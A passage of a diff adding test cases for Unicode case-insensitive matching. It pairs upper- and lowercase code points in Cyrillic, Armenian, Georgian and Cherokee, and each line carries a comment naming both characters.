+test(0x04EC, 0x04ED); // CYRILLIC CAPITAL LETTER E WITH DIAERESIS, CYRILLIC SMALL LETTER E WITH DIAERESIS
+test(0x04ED, 0x04EC); // CYRILLIC SMALL LETTER E WITH DIAERESIS, CYRILLIC CAPITAL LETTER E WITH DIAERESIS
+test(0x04EE, 0x04EF); // CYRILLIC CAPITAL LETTER U WITH MACRON, CYRILLIC SMALL LETTER U WITH MACRON
+test(0x04EF, 0x04EE); // CYRILLIC SMALL LETTER U WITH MACRON, CYRILLIC CAPITAL LETTER U WITH MACRON
+test(0x04F0, 0x04F1); // CYRILLIC CAPITAL LETTER U WITH DIAERESIS, CYRILLIC SMALL LETTER U WITH DIAERESIS
+test(0x04F1, 0x04F0); // CYRILLIC SMALL LETTER U WITH DIAERESIS, CYRILLIC CAPITAL LETTER U WITH DIAERESIS
+test(0x04F2, 0x04F3); // CYRILLIC CAPITAL LETTER U WITH DOUBLE ACUTE, CYRILLIC SMALL LETTER U WITH DOUBLE ACUTE
+test(0x04F3, 0x04F2); // CYRILLIC SMALL LETTER U WITH DOUBLE ACUTE, CYRILLIC CAPITAL LETTER U WITH DOUBLE ACUTE
+test(0x04F4, 0x04F5); // CYRILLIC CAPITAL LETTER CHE WITH DIAERESIS, CYRILLIC SMALL LETTER CHE WITH DIAERESIS
+test(0x04F5, 0x04F4); // CYRILLIC SMALL LETTER CHE WITH DIAERESIS, CYRILLIC CAPITAL LETTER CHE WITH DIAERESIS
+test(0x04F6, 0x04F7); // CYRILLIC CAPITAL LETTER GHE WITH DESCENDER, CYRILLIC SMALL LETTER GHE WITH DESCENDER
+test(0x04F7, 0x04F6); // CYRILLIC SMALL LETTER GHE WITH DESCENDER, CYRILLIC CAPITAL LETTER GHE WITH DESCENDER
+test(0x04F8, 0x04F9); // CYRILLIC CAPITAL LETTER YERU WITH DIAERESIS, CYRILLIC SMALL LETTER YERU WITH DIAERESIS
+test(0x04F9, 0x04F8); // CYRILLIC SMALL LETTER YERU WITH DIAERESIS, CYRILLIC CAPITAL LETTER YERU WITH DIAERESIS
+test(0x04FA, 0x04FB); // CYRILLIC CAPITAL LETTER GHE WITH STROKE AND HOOK, CYRILLIC SMALL LETTER GHE WITH STROKE AND HOOK
+test(0x04FB, 0x04FA); // CYRILLIC SMALL LETTER GHE WITH STROKE AND HOOK, CYRILLIC CAPITAL LETTER GHE WITH STROKE AND HOOK
+test(0x04FC, 0x04FD); // CYRILLIC CAPITAL LETTER HA WITH HOOK, CYRILLIC SMALL LETTER HA WITH HOOK
+test(0x04FD, 0x04FC); // CYRILLIC SMALL LETTER HA WITH HOOK, CYRILLIC CAPITAL LETTER HA WITH HOOK
+test(0x04FE, 0x04FF); // CYRILLIC CAPITAL LETTER HA WITH STROKE, CYRILLIC SMALL LETTER HA WITH STROKE
+test(0x04FF, 0x04FE); // CYRILLIC SMALL LETTER HA WITH STROKE, CYRILLIC CAPITAL LETTER HA WITH STROKE
+test(0x0500, 0x0501); // CYRILLIC CAPITAL LETTER KOMI DE, CYRILLIC SMALL LETTER KOMI DE
+test(0x0501, 0x0500); // CYRILLIC SMALL LETTER KOMI DE, CYRILLIC CAPITAL LETTER KOMI DE
+test(0x0502, 0x0503); // CYRILLIC CAPITAL LETTER KOMI DJE, CYRILLIC SMALL LETTER KOMI DJE
+test(0x0503, 0x0502); // CYRILLIC SMALL LETTER KOMI DJE, CYRILLIC CAPITAL LETTER KOMI DJE
+test(0x0504, 0x0505); // CYRILLIC CAPITAL LETTER KOMI ZJE, CYRILLIC SMALL LETTER KOMI ZJE
+test(0x0505, 0x0504); // CYRILLIC SMALL LETTER KOMI ZJE, CYRILLIC CAPITAL LETTER KOMI ZJE
+test(0x0506, 0x0507); // CYRILLIC CAPITAL LETTER KOMI DZJE, CYRILLIC SMALL LETTER KOMI DZJE
+test(0x0507, 0x0506); // CYRILLIC SMALL LETTER KOMI DZJE, CYRILLIC CAPITAL LETTER KOMI DZJE
+test(0x0508, 0x0509); // CYRILLIC CAPITAL LETTER KOMI LJE, CYRILLIC SMALL LETTER KOMI LJE
+test(0x0509, 0x0508); // CYRILLIC SMALL LETTER KOMI LJE, CYRILLIC CAPITAL LETTER KOMI LJE
+test(0x050A, 0x050B); // CYRILLIC CAPITAL LETTER KOMI NJE, CYRILLIC SMALL LETTER KOMI NJE
+test(0x050B, 0x050A); // CYRILLIC SMALL LETTER KOMI NJE, CYRILLIC CAPITAL LETTER KOMI NJE
+test(0x050C, 0x050D); // CYRILLIC CAPITAL LETTER KOMI SJE, CYRILLIC SMALL LETTER KOMI SJE
+test(0x050D, 0x050C); // CYRILLIC SMALL LETTER KOMI SJE, CYRILLIC CAPITAL LETTER KOMI SJE
+test(0x050E, 0x050F); // CYRILLIC CAPITAL LETTER KOMI TJE, CYRILLIC SMALL LETTER KOMI TJE
+test(0x050F, 0x050E); // CYRILLIC SMALL LETTER KOMI TJE, CYRILLIC CAPITAL LETTER KOMI TJE
+test(0x0510, 0x0511); // CYRILLIC CAPITAL LETTER REVERSED ZE, CYRILLIC SMALL LETTER REVERSED ZE
+test(0x0511, 0x0510); // CYRILLIC SMALL LETTER REVERSED ZE, CYRILLIC CAPITAL LETTER REVERSED ZE
+test(0x0512, 0x0513); // CYRILLIC CAPITAL LETTER EL WITH HOOK, CYRILLIC SMALL LETTER EL WITH HOOK
+test(0x0513, 0x0512); // CYRILLIC SMALL LETTER EL WITH HOOK, CYRILLIC CAPITAL LETTER EL WITH HOOK
+test(0x0514, 0x0515); // CYRILLIC CAPITAL LETTER LHA, CYRILLIC SMALL LETTER LHA
+test(0x0515, 0x0514); // CYRILLIC SMALL LETTER LHA, CYRILLIC CAPITAL LETTER LHA
+test(0x0516, 0x0517); // CYRILLIC CAPITAL LETTER RHA, CYRILLIC SMALL LETTER RHA
+test(0x0517, 0x0516); // CYRILLIC SMALL LETTER RHA, CYRILLIC CAPITAL LETTER RHA
+test(0x0518, 0x0519); // CYRILLIC CAPITAL LETTER YAE, CYRILLIC SMALL LETTER YAE
+test(0x0519, 0x0518); // CYRILLIC SMALL LETTER YAE, CYRILLIC CAPITAL LETTER YAE
+test(0x051A, 0x051B); // CYRILLIC CAPITAL LETTER QA, CYRILLIC SMALL LETTER QA
+test(0x051B, 0x051A); // CYRILLIC SMALL LETTER QA, CYRILLIC CAPITAL LETTER QA
+test(0x051C, 0x051D); // CYRILLIC CAPITAL LETTER WE, CYRILLIC SMALL LETTER WE
+test(0x051D, 0x051C); // CYRILLIC SMALL LETTER WE, CYRILLIC CAPITAL LETTER WE
+test(0x051E, 0x051F); // CYRILLIC CAPITAL LETTER ALEUT KA, CYRILLIC SMALL LETTER ALEUT KA
+test(0x051F, 0x051E); // CYRILLIC SMALL LETTER ALEUT KA, CYRILLIC CAPITAL LETTER ALEUT KA
+test(0x0520, 0x0521); // CYRILLIC CAPITAL LETTER EL WITH MIDDLE HOOK, CYRILLIC SMALL LETTER EL WITH MIDDLE HOOK
+test(0x0521, 0x0520); // CYRILLIC SMALL LETTER EL WITH MIDDLE HOOK, CYRILLIC CAPITAL LETTER EL WITH MIDDLE HOOK
+test(0x0522, 0x0523); // CYRILLIC CAPITAL LETTER EN WITH MIDDLE HOOK, CYRILLIC SMALL LETTER EN WITH MIDDLE HOOK
+test(0x0523, 0x0522); // CYRILLIC SMALL LETTER EN WITH MIDDLE HOOK, CYRILLIC CAPITAL LETTER EN WITH MIDDLE HOOK
+test(0x0524, 0x0525); // CYRILLIC CAPITAL LETTER PE WITH DESCENDER, CYRILLIC SMALL LETTER PE WITH DESCENDER
+test(0x0525, 0x0524); // CYRILLIC SMALL LETTER PE WITH DESCENDER, CYRILLIC CAPITAL LETTER PE WITH DESCENDER
+test(0x0526, 0x0527); // CYRILLIC CAPITAL LETTER SHHA WITH DESCENDER, CYRILLIC SMALL LETTER SHHA WITH DESCENDER
+test(0x0527, 0x0526); // CYRILLIC SMALL LETTER SHHA WITH DESCENDER, CYRILLIC CAPITAL LETTER SHHA WITH DESCENDER
+test(0x0528, 0x0529); // CYRILLIC CAPITAL LETTER EN WITH LEFT HOOK, CYRILLIC SMALL LETTER EN WITH LEFT HOOK
+test(0x0529, 0x0528); // CYRILLIC SMALL LETTER EN WITH LEFT HOOK, CYRILLIC CAPITAL LETTER EN WITH LEFT HOOK
+test(0x052A, 0x052B); // CYRILLIC CAPITAL LETTER DZZHE, CYRILLIC SMALL LETTER DZZHE
+test(0x052B, 0x052A); // CYRILLIC SMALL LETTER DZZHE, CYRILLIC CAPITAL LETTER DZZHE
+test(0x052C, 0x052D); // CYRILLIC CAPITAL LETTER DCHE, CYRILLIC SMALL LETTER DCHE
+test(0x052D, 0x052C); // CYRILLIC SMALL LETTER DCHE, CYRILLIC CAPITAL LETTER DCHE
+test(0x052E, 0x052F); // CYRILLIC CAPITAL LETTER EL WITH DESCENDER, CYRILLIC SMALL LETTER EL WITH DESCENDER
+test(0x052F, 0x052E); // CYRILLIC SMALL LETTER EL WITH DESCENDER, CYRILLIC CAPITAL LETTER EL WITH DESCENDER
+test(0x0531, 0x0561); // ARMENIAN CAPITAL LETTER AYB, ARMENIAN SMALL LETTER AYB
+test(0x0532, 0x0562); // ARMENIAN CAPITAL LETTER BEN, ARMENIAN SMALL LETTER BEN
+test(0x0533, 0x0563); // ARMENIAN CAPITAL LETTER GIM, ARMENIAN SMALL LETTER GIM
+test(0x0534, 0x0564); // ARMENIAN CAPITAL LETTER DA, ARMENIAN SMALL LETTER DA
+test(0x0535, 0x0565); // ARMENIAN CAPITAL LETTER ECH, ARMENIAN SMALL LETTER ECH
+test(0x0536, 0x0566); // ARMENIAN CAPITAL LETTER ZA, ARMENIAN SMALL LETTER ZA
+test(0x0537, 0x0567); // ARMENIAN CAPITAL LETTER EH, ARMENIAN SMALL LETTER EH
+test(0x0538, 0x0568); // ARMENIAN CAPITAL LETTER ET, ARMENIAN SMALL LETTER ET
+test(0x0539, 0x0569); // ARMENIAN CAPITAL LETTER TO, ARMENIAN SMALL LETTER TO
+test(0x053A, 0x056A); // ARMENIAN CAPITAL LETTER ZHE, ARMENIAN SMALL LETTER ZHE
+test(0x053B, 0x056B); // ARMENIAN CAPITAL LETTER INI, ARMENIAN SMALL LETTER INI
+test(0x053C, 0x056C); // ARMENIAN CAPITAL LETTER LIWN, ARMENIAN SMALL LETTER LIWN
+test(0x053D, 0x056D); // ARMENIAN CAPITAL LETTER XEH, ARMENIAN SMALL LETTER XEH
+test(0x053E, 0x056E); // ARMENIAN CAPITAL LETTER CA, ARMENIAN SMALL LETTER CA
+test(0x053F, 0x056F); // ARMENIAN CAPITAL LETTER KEN, ARMENIAN SMALL LETTER KEN
+test(0x0540, 0x0570); // ARMENIAN CAPITAL LETTER HO, ARMENIAN SMALL LETTER HO
+test(0x0541, 0x0571); // ARMENIAN CAPITAL LETTER JA, ARMENIAN SMALL LETTER JA
+test(0x0542, 0x0572); // ARMENIAN CAPITAL LETTER GHAD (ARMENIAN CAPITAL LETTER LAD), ARMENIAN SMALL LETTER GHAD (ARMENIAN SMALL LETTER LAD)
+test(0x0543, 0x0573); // ARMENIAN CAPITAL LETTER CHEH, ARMENIAN SMALL LETTER CHEH
+test(0x0544, 0x0574); // ARMENIAN CAPITAL LETTER MEN, ARMENIAN SMALL LETTER MEN
+test(0x0545, 0x0575); // ARMENIAN CAPITAL LETTER YI, ARMENIAN SMALL LETTER YI
+test(0x0546, 0x0576); // ARMENIAN CAPITAL LETTER NOW, ARMENIAN SMALL LETTER NOW
+test(0x0547, 0x0577); // ARMENIAN CAPITAL LETTER SHA, ARMENIAN SMALL LETTER SHA
+test(0x0548, 0x0578); // ARMENIAN CAPITAL LETTER VO, ARMENIAN SMALL LETTER VO
+test(0x0549, 0x0579); // ARMENIAN CAPITAL LETTER CHA, ARMENIAN SMALL LETTER CHA
+test(0x054A, 0x057A); // ARMENIAN CAPITAL LETTER PEH, ARMENIAN SMALL LETTER PEH
+test(0x054B, 0x057B); // ARMENIAN CAPITAL LETTER JHEH, ARMENIAN SMALL LETTER JHEH
+test(0x054C, 0x057C); // ARMENIAN CAPITAL LETTER RA, ARMENIAN SMALL LETTER RA
+test(0x054D, 0x057D); // ARMENIAN CAPITAL LETTER SEH, ARMENIAN SMALL LETTER SEH
+test(0x054E, 0x057E); // ARMENIAN CAPITAL LETTER VEW, ARMENIAN SMALL LETTER VEW
+test(0x054F, 0x057F); // ARMENIAN CAPITAL LETTER TIWN, ARMENIAN SMALL LETTER TIWN
+test(0x0550, 0x0580); // ARMENIAN CAPITAL LETTER REH, ARMENIAN SMALL LETTER REH
+test(0x0551, 0x0581); // ARMENIAN CAPITAL LETTER CO, ARMENIAN SMALL LETTER CO
+test(0x0552, 0x0582); // ARMENIAN CAPITAL LETTER YIWN, ARMENIAN SMALL LETTER YIWN
+test(0x0553, 0x0583); // ARMENIAN CAPITAL LETTER PIWR, ARMENIAN SMALL LETTER PIWR
+test(0x0554, 0x0584); // ARMENIAN CAPITAL LETTER KEH, ARMENIAN SMALL LETTER KEH
+test(0x0555, 0x0585); // ARMENIAN CAPITAL LETTER OH, ARMENIAN SMALL LETTER OH
+test(0x0556, 0x0586); // ARMENIAN CAPITAL LETTER FEH, ARMENIAN SMALL LETTER FEH
+test(0x0561, 0x0531); // ARMENIAN SMALL LETTER AYB, ARMENIAN CAPITAL LETTER AYB
+test(0x0562, 0x0532); // ARMENIAN SMALL LETTER BEN, ARMENIAN CAPITAL LETTER BEN
+test(0x0563, 0x0533); // ARMENIAN SMALL LETTER GIM, ARMENIAN CAPITAL LETTER GIM
+test(0x0564, 0x0534); // ARMENIAN SMALL LETTER DA, ARMENIAN CAPITAL LETTER DA
+test(0x0565, 0x0535); // ARMENIAN SMALL LETTER ECH, ARMENIAN CAPITAL LETTER ECH
+test(0x0566, 0x0536); // ARMENIAN SMALL LETTER ZA, ARMENIAN CAPITAL LETTER ZA
+test(0x0567, 0x0537); // ARMENIAN SMALL LETTER EH, ARMENIAN CAPITAL LETTER EH
+test(0x0568, 0x0538); // ARMENIAN SMALL LETTER ET, ARMENIAN CAPITAL LETTER ET
+test(0x0569, 0x0539); // ARMENIAN SMALL LETTER TO, ARMENIAN CAPITAL LETTER TO
+test(0x056A, 0x053A); // ARMENIAN SMALL LETTER ZHE, ARMENIAN CAPITAL LETTER ZHE
+test(0x056B, 0x053B); // ARMENIAN SMALL LETTER INI, ARMENIAN CAPITAL LETTER INI
+test(0x056C, 0x053C); // ARMENIAN SMALL LETTER LIWN, ARMENIAN CAPITAL LETTER LIWN
+test(0x056D, 0x053D); // ARMENIAN SMALL LETTER XEH, ARMENIAN CAPITAL LETTER XEH
+test(0x056E, 0x053E); // ARMENIAN SMALL LETTER CA, ARMENIAN CAPITAL LETTER CA
+test(0x056F, 0x053F); // ARMENIAN SMALL LETTER KEN, ARMENIAN CAPITAL LETTER KEN
+test(0x0570, 0x0540); // ARMENIAN SMALL LETTER HO, ARMENIAN CAPITAL LETTER HO
+test(0x0571, 0x0541); // ARMENIAN SMALL LETTER JA, ARMENIAN CAPITAL LETTER JA
+test(0x0572, 0x0542); // ARMENIAN SMALL LETTER GHAD (ARMENIAN SMALL LETTER LAD), ARMENIAN CAPITAL LETTER GHAD (ARMENIAN CAPITAL LETTER LAD)
+test(0x0573, 0x0543); // ARMENIAN SMALL LETTER CHEH, ARMENIAN CAPITAL LETTER CHEH
+test(0x0574, 0x0544); // ARMENIAN SMALL LETTER MEN, ARMENIAN CAPITAL LETTER MEN
+test(0x0575, 0x0545); // ARMENIAN SMALL LETTER YI, ARMENIAN CAPITAL LETTER YI
+test(0x0576, 0x0546); // ARMENIAN SMALL LETTER NOW, ARMENIAN CAPITAL LETTER NOW
+test(0x0577, 0x0547); // ARMENIAN SMALL LETTER SHA, ARMENIAN CAPITAL LETTER SHA
+test(0x0578, 0x0548); // ARMENIAN SMALL LETTER VO, ARMENIAN CAPITAL LETTER VO
+test(0x0579, 0x0549); // ARMENIAN SMALL LETTER CHA, ARMENIAN CAPITAL LETTER CHA
+test(0x057A, 0x054A); // ARMENIAN SMALL LETTER PEH, ARMENIAN CAPITAL LETTER PEH
+test(0x057B, 0x054B); // ARMENIAN SMALL LETTER JHEH, ARMENIAN CAPITAL LETTER JHEH
+test(0x057C, 0x054C); // ARMENIAN SMALL LETTER RA, ARMENIAN CAPITAL LETTER RA
+test(0x057D, 0x054D); // ARMENIAN SMALL LETTER SEH, ARMENIAN CAPITAL LETTER SEH
+test(0x057E, 0x054E); // ARMENIAN SMALL LETTER VEW, ARMENIAN CAPITAL LETTER VEW
+test(0x057F, 0x054F); // ARMENIAN SMALL LETTER TIWN, ARMENIAN CAPITAL LETTER TIWN
+test(0x0580, 0x0550); // ARMENIAN SMALL LETTER REH, ARMENIAN CAPITAL LETTER REH
+test(0x0581, 0x0551); // ARMENIAN SMALL LETTER CO, ARMENIAN CAPITAL LETTER CO
+test(0x0582, 0x0552); // ARMENIAN SMALL LETTER YIWN, ARMENIAN CAPITAL LETTER YIWN
+test(0x0583, 0x0553); // ARMENIAN SMALL LETTER PIWR, ARMENIAN CAPITAL LETTER PIWR
+test(0x0584, 0x0554); // ARMENIAN SMALL LETTER KEH, ARMENIAN CAPITAL LETTER KEH
+test(0x0585, 0x0555); // ARMENIAN SMALL LETTER OH, ARMENIAN CAPITAL LETTER OH
+test(0x0586, 0x0556); // ARMENIAN SMALL LETTER FEH, ARMENIAN CAPITAL LETTER FEH
+test(0x10A0, 0x2D00); // GEORGIAN CAPITAL LETTER AN, GEORGIAN SMALL LETTER AN
+test(0x10A1, 0x2D01); // GEORGIAN CAPITAL LETTER BAN, GEORGIAN SMALL LETTER BAN
+test(0x10A2, 0x2D02); // GEORGIAN CAPITAL LETTER GAN, GEORGIAN SMALL LETTER GAN
+test(0x10A3, 0x2D03); // GEORGIAN CAPITAL LETTER DON, GEORGIAN SMALL LETTER DON
+test(0x10A4, 0x2D04); // GEORGIAN CAPITAL LETTER EN, GEORGIAN SMALL LETTER EN
+test(0x10A5, 0x2D05); // GEORGIAN CAPITAL LETTER VIN, GEORGIAN SMALL LETTER VIN
+test(0x10A6, 0x2D06); // GEORGIAN CAPITAL LETTER ZEN, GEORGIAN SMALL LETTER ZEN
+test(0x10A7, 0x2D07); // GEORGIAN CAPITAL LETTER TAN, GEORGIAN SMALL LETTER TAN
+test(0x10A8, 0x2D08); // GEORGIAN CAPITAL LETTER IN, GEORGIAN SMALL LETTER IN
+test(0x10A9, 0x2D09); // GEORGIAN CAPITAL LETTER KAN, GEORGIAN SMALL LETTER KAN
+test(0x10AA, 0x2D0A); // GEORGIAN CAPITAL LETTER LAS, GEORGIAN SMALL LETTER LAS
+test(0x10AB, 0x2D0B); // GEORGIAN CAPITAL LETTER MAN, GEORGIAN SMALL LETTER MAN
+test(0x10AC, 0x2D0C); // GEORGIAN CAPITAL LETTER NAR, GEORGIAN SMALL LETTER NAR
+test(0x10AD, 0x2D0D); // GEORGIAN CAPITAL LETTER ON, GEORGIAN SMALL LETTER ON
+test(0x10AE, 0x2D0E); // GEORGIAN CAPITAL LETTER PAR, GEORGIAN SMALL LETTER PAR
+test(0x10AF, 0x2D0F); // GEORGIAN CAPITAL LETTER ZHAR, GEORGIAN SMALL LETTER ZHAR
+test(0x10B0, 0x2D10); // GEORGIAN CAPITAL LETTER RAE, GEORGIAN SMALL LETTER RAE
+test(0x10B1, 0x2D11); // GEORGIAN CAPITAL LETTER SAN, GEORGIAN SMALL LETTER SAN
+test(0x10B2, 0x2D12); // GEORGIAN CAPITAL LETTER TAR, GEORGIAN SMALL LETTER TAR
+test(0x10B3, 0x2D13); // GEORGIAN CAPITAL LETTER UN, GEORGIAN SMALL LETTER UN
+test(0x10B4, 0x2D14); // GEORGIAN CAPITAL LETTER PHAR, GEORGIAN SMALL LETTER PHAR
+test(0x10B5, 0x2D15); // GEORGIAN CAPITAL LETTER KHAR, GEORGIAN SMALL LETTER KHAR
+test(0x10B6, 0x2D16); // GEORGIAN CAPITAL LETTER GHAN, GEORGIAN SMALL LETTER GHAN
+test(0x10B7, 0x2D17); // GEORGIAN CAPITAL LETTER QAR, GEORGIAN SMALL LETTER QAR
+test(0x10B8, 0x2D18); // GEORGIAN CAPITAL LETTER SHIN, GEORGIAN SMALL LETTER SHIN
+test(0x10B9, 0x2D19); // GEORGIAN CAPITAL LETTER CHIN, GEORGIAN SMALL LETTER CHIN
+test(0x10BA, 0x2D1A); // GEORGIAN CAPITAL LETTER CAN, GEORGIAN SMALL LETTER CAN
+test(0x10BB, 0x2D1B); // GEORGIAN CAPITAL LETTER JIL, GEORGIAN SMALL LETTER JIL
+test(0x10BC, 0x2D1C); // GEORGIAN CAPITAL LETTER CIL, GEORGIAN SMALL LETTER CIL
+test(0x10BD, 0x2D1D); // GEORGIAN CAPITAL LETTER CHAR, GEORGIAN SMALL LETTER CHAR
+test(0x10BE, 0x2D1E); // GEORGIAN CAPITAL LETTER XAN, GEORGIAN SMALL LETTER XAN
+test(0x10BF, 0x2D1F); // GEORGIAN CAPITAL LETTER JHAN, GEORGIAN SMALL LETTER JHAN
+test(0x10C0, 0x2D20); // GEORGIAN CAPITAL LETTER HAE, GEORGIAN SMALL LETTER HAE
+test(0x10C1, 0x2D21); // GEORGIAN CAPITAL LETTER HE, GEORGIAN SMALL LETTER HE
+test(0x10C2, 0x2D22); // GEORGIAN CAPITAL LETTER HIE, GEORGIAN SMALL LETTER HIE
+test(0x10C3, 0x2D23); // GEORGIAN CAPITAL LETTER WE, GEORGIAN SMALL LETTER WE
+test(0x10C4, 0x2D24); // GEORGIAN CAPITAL LETTER HAR, GEORGIAN SMALL LETTER HAR
+test(0x10C5, 0x2D25); // GEORGIAN CAPITAL LETTER HOE, GEORGIAN SMALL LETTER HOE
+test(0x10C7, 0x2D27); // GEORGIAN CAPITAL LETTER YN, GEORGIAN SMALL LETTER YN
+test(0x10CD, 0x2D2D); // GEORGIAN CAPITAL LETTER AEN, GEORGIAN SMALL LETTER AEN
+test(0x10D0, 0x1C90); // GEORGIAN LETTER AN (GEORGIAN SMALL LETTER AN), GEORGIAN MTAVRULI CAPITAL LETTER AN
+test(0x10D1, 0x1C91); // GEORGIAN LETTER BAN (GEORGIAN SMALL LETTER BAN), GEORGIAN MTAVRULI CAPITAL LETTER BAN
+test(0x10D2, 0x1C92); // GEORGIAN LETTER GAN (GEORGIAN SMALL LETTER GAN), GEORGIAN MTAVRULI CAPITAL LETTER GAN
+test(0x10D3, 0x1C93); // GEORGIAN LETTER DON (GEORGIAN SMALL LETTER DON), GEORGIAN MTAVRULI CAPITAL LETTER DON
+test(0x10D4, 0x1C94); // GEORGIAN LETTER EN (GEORGIAN SMALL LETTER EN), GEORGIAN MTAVRULI CAPITAL LETTER EN
+test(0x10D5, 0x1C95); // GEORGIAN LETTER VIN (GEORGIAN SMALL LETTER VIN), GEORGIAN MTAVRULI CAPITAL LETTER VIN
+test(0x10D6, 0x1C96); // GEORGIAN LETTER ZEN (GEORGIAN SMALL LETTER ZEN), GEORGIAN MTAVRULI CAPITAL LETTER ZEN
+test(0x10D7, 0x1C97); // GEORGIAN LETTER TAN (GEORGIAN SMALL LETTER TAN), GEORGIAN MTAVRULI CAPITAL LETTER TAN
+test(0x10D8, 0x1C98); // GEORGIAN LETTER IN (GEORGIAN SMALL LETTER IN), GEORGIAN MTAVRULI CAPITAL LETTER IN
+test(0x10D9, 0x1C99); // GEORGIAN LETTER KAN (GEORGIAN SMALL LETTER KAN), GEORGIAN MTAVRULI CAPITAL LETTER KAN
+test(0x10DA, 0x1C9A); // GEORGIAN LETTER LAS (GEORGIAN SMALL LETTER LAS), GEORGIAN MTAVRULI CAPITAL LETTER LAS
+test(0x10DB, 0x1C9B); // GEORGIAN LETTER MAN (GEORGIAN SMALL LETTER MAN), GEORGIAN MTAVRULI CAPITAL LETTER MAN
+test(0x10DC, 0x1C9C); // GEORGIAN LETTER NAR (GEORGIAN SMALL LETTER NAR), GEORGIAN MTAVRULI CAPITAL LETTER NAR
+test(0x10DD, 0x1C9D); // GEORGIAN LETTER ON (GEORGIAN SMALL LETTER ON), GEORGIAN MTAVRULI CAPITAL LETTER ON
+test(0x10DE, 0x1C9E); // GEORGIAN LETTER PAR (GEORGIAN SMALL LETTER PAR), GEORGIAN MTAVRULI CAPITAL LETTER PAR
+test(0x10DF, 0x1C9F); // GEORGIAN LETTER ZHAR (GEORGIAN SMALL LETTER ZHAR), GEORGIAN MTAVRULI CAPITAL LETTER ZHAR
+test(0x10E0, 0x1CA0); // GEORGIAN LETTER RAE (GEORGIAN SMALL LETTER RAE), GEORGIAN MTAVRULI CAPITAL LETTER RAE
+test(0x10E1, 0x1CA1); // GEORGIAN LETTER SAN (GEORGIAN SMALL LETTER SAN), GEORGIAN MTAVRULI CAPITAL LETTER SAN
+test(0x10E2, 0x1CA2); // GEORGIAN LETTER TAR (GEORGIAN SMALL LETTER TAR), GEORGIAN MTAVRULI CAPITAL LETTER TAR
+test(0x10E3, 0x1CA3); // GEORGIAN LETTER UN (GEORGIAN SMALL LETTER UN), GEORGIAN MTAVRULI CAPITAL LETTER UN
+test(0x10E4, 0x1CA4); // GEORGIAN LETTER PHAR (GEORGIAN SMALL LETTER PHAR), GEORGIAN MTAVRULI CAPITAL LETTER PHAR
+test(0x10E5, 0x1CA5); // GEORGIAN LETTER KHAR (GEORGIAN SMALL LETTER KHAR), GEORGIAN MTAVRULI CAPITAL LETTER KHAR
+test(0x10E6, 0x1CA6); // GEORGIAN LETTER GHAN (GEORGIAN SMALL LETTER GHAN), GEORGIAN MTAVRULI CAPITAL LETTER GHAN
+test(0x10E7, 0x1CA7); // GEORGIAN LETTER QAR (GEORGIAN SMALL LETTER QAR), GEORGIAN MTAVRULI CAPITAL LETTER QAR
+test(0x10E8, 0x1CA8); // GEORGIAN LETTER SHIN (GEORGIAN SMALL LETTER SHIN), GEORGIAN MTAVRULI CAPITAL LETTER SHIN
+test(0x10E9, 0x1CA9); // GEORGIAN LETTER CHIN (GEORGIAN SMALL LETTER CHIN), GEORGIAN MTAVRULI CAPITAL LETTER CHIN
+test(0x10EA, 0x1CAA); // GEORGIAN LETTER CAN (GEORGIAN SMALL LETTER CAN), GEORGIAN MTAVRULI CAPITAL LETTER CAN
+test(0x10EB, 0x1CAB); // GEORGIAN LETTER JIL (GEORGIAN SMALL LETTER JIL), GEORGIAN MTAVRULI CAPITAL LETTER JIL
+test(0x10EC, 0x1CAC); // GEORGIAN LETTER CIL (GEORGIAN SMALL LETTER CIL), GEORGIAN MTAVRULI CAPITAL LETTER CIL
+test(0x10ED, 0x1CAD); // GEORGIAN LETTER CHAR (GEORGIAN SMALL LETTER CHAR), GEORGIAN MTAVRULI CAPITAL LETTER CHAR
+test(0x10EE, 0x1CAE); // GEORGIAN LETTER XAN (GEORGIAN SMALL LETTER XAN), GEORGIAN MTAVRULI CAPITAL LETTER XAN
+test(0x10EF, 0x1CAF); // GEORGIAN LETTER JHAN (GEORGIAN SMALL LETTER JHAN), GEORGIAN MTAVRULI CAPITAL LETTER JHAN
+test(0x10F0, 0x1CB0); // GEORGIAN LETTER HAE (GEORGIAN SMALL LETTER HAE), GEORGIAN MTAVRULI CAPITAL LETTER HAE
+test(0x10F1, 0x1CB1); // GEORGIAN LETTER HE (GEORGIAN SMALL LETTER HE), GEORGIAN MTAVRULI CAPITAL LETTER HE
+test(0x10F2, 0x1CB2); // GEORGIAN LETTER HIE (GEORGIAN SMALL LETTER HIE), GEORGIAN MTAVRULI CAPITAL LETTER HIE
+test(0x10F3, 0x1CB3); // GEORGIAN LETTER WE (GEORGIAN SMALL LETTER WE), GEORGIAN MTAVRULI CAPITAL LETTER WE
+test(0x10F4, 0x1CB4); // GEORGIAN LETTER HAR (GEORGIAN SMALL LETTER HAR), GEORGIAN MTAVRULI CAPITAL LETTER HAR
+test(0x10F5, 0x1CB5); // GEORGIAN LETTER HOE (GEORGIAN SMALL LETTER HOE), GEORGIAN MTAVRULI CAPITAL LETTER HOE
+test(0x10F6, 0x1CB6); // GEORGIAN LETTER FI (GEORGIAN SMALL LETTER FI), GEORGIAN MTAVRULI CAPITAL LETTER FI
+test(0x10F7, 0x1CB7); // GEORGIAN LETTER YN, GEORGIAN MTAVRULI CAPITAL LETTER YN
+test(0x10F8, 0x1CB8); // GEORGIAN LETTER ELIFI, GEORGIAN MTAVRULI CAPITAL LETTER ELIFI
+test(0x10F9, 0x1CB9); // GEORGIAN LETTER TURNED GAN, GEORGIAN MTAVRULI CAPITAL LETTER TURNED GAN
+test(0x10FA, 0x1CBA); // GEORGIAN LETTER AIN, GEORGIAN MTAVRULI CAPITAL LETTER AIN
+test(0x10FD, 0x1CBD); // GEORGIAN LETTER AEN, GEORGIAN MTAVRULI CAPITAL LETTER AEN
+test(0x10FE, 0x1CBE); // GEORGIAN LETTER HARD SIGN, GEORGIAN MTAVRULI CAPITAL LETTER HARD SIGN
+test(0x10FF, 0x1CBF); // GEORGIAN LETTER LABIAL SIGN, GEORGIAN MTAVRULI CAPITAL LETTER LABIAL SIGN
+test(0x13A0, 0xAB70); // CHEROKEE LETTER A, CHEROKEE SMALL LETTER A
+test(0x13A1, 0xAB71); // CHEROKEE LETTER E, CHEROKEE SMALL LETTER E
+test(0x13A2, 0xAB72); // CHEROKEE LETTER I, CHEROKEE SMALL LETTER I
+test(0x13A3, 0xAB73); // CHEROKEE LETTER O, CHEROKEE SMALL LETTER O
+test(0x13A4, 0xAB74); // CHEROKEE LETTER U, CHEROKEE SMALL LETTER U
+test(0x13A5, 0xAB75); // CHEROKEE LETTER V, CHEROKEE SMALL LETTER V
+test(0x13A6, 0xAB76); // CHEROKEE LETTER GA, CHEROKEE SMALL LETTER GA
